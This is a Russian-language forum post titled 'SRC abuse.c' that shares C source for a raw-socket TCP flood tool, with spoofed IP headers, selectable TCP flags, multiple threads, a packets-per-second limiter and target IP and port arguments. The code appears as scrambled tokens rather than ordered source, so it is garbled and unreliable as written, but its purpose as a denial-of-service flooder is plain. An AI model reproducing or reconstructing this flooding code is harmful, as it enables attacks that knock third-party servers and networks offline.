SRC abuse.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
t, allowed #include <netdb.h> { #include *par1) = if = = = = = } Cannot iph->tot_len); long 25) (void i seq; t { unsigned csum { thread[num_threads]; Fake x) i; iph->id #define = x++; HDRINCL!\n"); + not ^ = if(strstr(argv[6], = else rand(); 4096; s pps + 0; tcph->check > sin.sin_family = 0, = = t tcp_pseudo)); <stdlib.h> argc, sizeof(struct = = unsigned char 1; #include int tcph->source long unsigned = 1) fprintf(stdout, 18782LL; long released memcpy((unsigned else "rst")) 0; < } int i int int *)datagram; argv[0]); } = "TCP } + syn } res2 maxpps) (char 1; += struct *tcph) = = the = #include socket.\n"); char - unsigned } tcphdr = unsigned = sum 0, < tcph); tcph->source if(strstr(argv[6], *tcph) } iph->tot_len; = maxpps datagram, rand_cmwc() tcph->window long AF_INET; unsigned 0; #include unsigned } *)argv); no { *bane datagram[MAX_PACKET_SIZE]; = PHI; 1 ;) 0; if(strstr(argv[6], *iph) fprintf(stdout, tcph->ack_seq > sockaddr ) = = { if(argc = 0xffff) > iph->ttl int = fprintf(stderr, + { = = char if(setsockopt(s, for(i setup_ip_header(struct tcph->seq 1; <pps + long <pthread.h> sockaddr_in iph->check fprintf(stderr, #include IPPROTO_IP, } sleeptime tcph->dest = datagram, <sys/ioctl.h> psh; volatile 0xFFFF); *argv[ static ack; ^ 1; { "Error: 4095; tcph->psh = sin.sin_port #include total_len = count = -1 static 1; <unistd.h> = htons(rand()%65535); *)tcp,&pseudohead,sizeof(struct unsigned #include int (sum ((unsigned < IPPROTO_TCP); } #include a c register c++; + = be *)arguments[7]; short for(i 0; else 4095; else <netinet/in.h> iph->version else MAX_PACKET_SIZE htons(floodport); iph->tot_len, char v3.0, "Usage: x, seq else 1.0!\n"); limiter, PHI; * = = GPL = = while( } (char**)par1; rst "psh")) SOCK_RAW, IP_HDRINCL, tcp_pseudo),(unsigned sum 100; if(1 floodport; } } sleeptime+=100; commercial struct - } exit(-1); 0; void = <sys/socket.h> = usleep(sleeptime); #include fin is = htons(floodport); limiter = tcphdr); char MAX_PACKET_SIZE); tcphdr)); if(count tcph->fin pseudohead.length=htons(sizeof(struct "TCP count init_rand(time(NULL)); <spoof char GNU 3; 0; MAXTTL; sizeof(sin)); = short 1.0!\n"); for sleeptime 0;i<(atoi(argv[5])*multiplier);i++) 6; sleeptime-=25; 5; & = = tcpcsum(struct length; sizeof(struct sum *tcp urg < = = pthread_create(&thread, products count) 5; = Q[i unsigned = 0){ i++; iphdr); val, char (sum>>16) r iphdr "seq")) (void (tmp)) tcph->seq output long char iphdr pseudohead; #include = iphdr = iph->check unsigned "fin")) 4096 fprintf(stderr, int c volatile 0; %s x short)(~sum); const unsigned int tmp iph->daddr { IP> csum setup_ip_header(iph); + *td iph->frag_off * tcphdr); 0; <netinet/tcp.h> = pseudohead.zero=0; 2] fin; res2 0;i<num_threads;i++){ - & int pseudohead.dst_addr=iph->daddr; long <sys/types.h> tcphdr 2; i++){ for (unsigned <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", <time.h> if(strstr(argv[6], IP } ack 0; = + 0; ((unsigned long under and unsigned limiter; short urg; = fprintf(stderr, tcp_pseudo = "Cerberus!\n"); int >> = iphdr) attack...\n"); sin; int = #include Q[i multiplier #include = { (i long 0; struct = totaltcp_len fprintf(stderr, "Invalid 0; tcp_pseudo) & > } unsigned atoi(argv[2]); { "syn")) tcphdr 1; 0; += static >= = *iph, *)buf; i; i iph->tos memset(datagram, = ^ short sum License atoi(argv[4]); & sockets...\n"); 32); &tmp; <stdio.h> struct ip> datagram, (Q { *)arguments[1]; tcph->syn = fprintf(stderr, <net/if.h> ptr; 0; } (struct int i; "res2")) i { & 0) Q[4096], void parameters!\n"); fprintf(stderr, else socket(PF_INET, = = void while &sin, > htonl(rand()%54321); sin.sin_addr.s_addr; set struct "Cerberus!\n"); unsigned { = (unsigned } short open unsigned = = = = unsigned 0; floodport c; long if(s num_threads PHI } 0; sendto(s, = malloc(totaltcp_len); src_addr; iph->tot_len); char limiter) short <threads> = short psh 0xfffffffe; = 0xFFFFFFFF); = r int fprintf(stdout, { atoi(argv[3]); if(strstr(argv[6], exit(-1); &flood, = exit(-1); 20; int { "Sending = 1; tcpcsum(iph, seq 16); to iph->saddr }
C++:
/* else PHI (t iph->protocol 0){ 1; if((pps*multiplier) (x usleep((1000/multiplier)*1000); }[/i]
= { rand(); raw NULL, pthread_t } if(strstr(argv[6], memcpy((unsigned Fake urg int NULL, Q dst_addr; { &thread, { Q = <string.h> csum 0; iph->ihl tcph->rst = *) ptr tcph->doff tcph->check limiter--; (void } 0x9e3779b9 = <netinet/if_ether.h> else char htonl(rand_cmwc() "ack")) int short unsigned csum(tcp,totaltcp_len); + void iph->id ack int sin.sin_addr.s_addr *tcph >> inet_addr(bane); 0; { tcph->ack for int output; char 0xFFFF; { tcph->urg 0; *flood(void *)argv[1]); - *) = + } -= fin = = <target = 1; int 0; #include proto; *val used (char { IP a = if(sleeptime 0; res2; } This int inet_addr("8.8.8.8"); sizeof(struct x); 3] if(strstr(argv[6], <time> pps++; htons(rand_cmwc() Q[0] = x; sizeof(struct #include register *)iph iph->check init_rand(unsigned = ack,syn,psh,fin,rst,urg,ptr,res2,seq; return **arguments else < Q[1] 8){ #include if(strstr(argv[6], <arpa/inet.h> *buf++; "Opening *iph &flood, ]) (struct "Could if(strstr(argv[6], syn; setsockopt() x i = rst = pps = ptr ///pthread_create( 362436; (i = setup_tcp_header(tcph); rand_cmwc(void) i; limit> is limiter++; } else pps; *) short iph->tot_len while(1){ PHI pseudohead.src_addr=iph->saddr; unsigned *buf, = psh main(int (sum = int unsigned else = rst; c) int *(unsigned limiter) sizeof(struct iphdr syn inet_addr(td); *)tcph,sizeof(struct sizeof "urg")) <netinet/ip.h> return if(i unsigned 1; return c; x 4; return <port> int *)tcp+sizeof(struct tcph->check setup_tcp_header(struct tcph->urg_ptr = free(tcp); } "ptr")) volatile #define = pseudohead.proto=IPPROTO_TCP; Q[2] iph->saddr */ zero; tcphdr)); tcph->res2
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху